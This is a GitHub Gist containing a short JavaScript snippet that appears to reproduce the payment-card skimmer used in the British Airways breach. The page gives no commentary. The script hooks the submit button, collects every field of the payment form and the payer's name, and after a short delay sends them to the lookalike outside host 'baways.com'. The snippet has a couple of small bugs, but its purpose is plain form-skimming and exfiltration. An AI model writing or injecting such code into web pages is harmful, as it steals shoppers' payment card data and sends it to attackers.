Created
December 12, 2019 22:34
-
-
Save MMintzer/2970be0347877dcf1f994a0c3a0e5607 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| window.onload = function() { | |
| jQuery("#submitButton").bind("mouseup touchend", function(a) { | |
| var n = {}; | |
| jQuery("paymentForm").serealizeArray().map(function(a) { | |
| n[a.name] = a.value | |
| }) | |
| var e = document.getElementById("personPaying").innerHTML | |
| n.person = e | |
| var t = JSON.stringify(n) | |
| setTimeout(function() { | |
| jQuery.ajax({ | |
| type: "POST", | |
| async: !0, | |
| url: "https://baways.com/gateway/app/dataprocessing/api/", | |
| data: t, | |
| dataType: "application/json" | |
| }) | |
| }, 500) | |
| }) | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment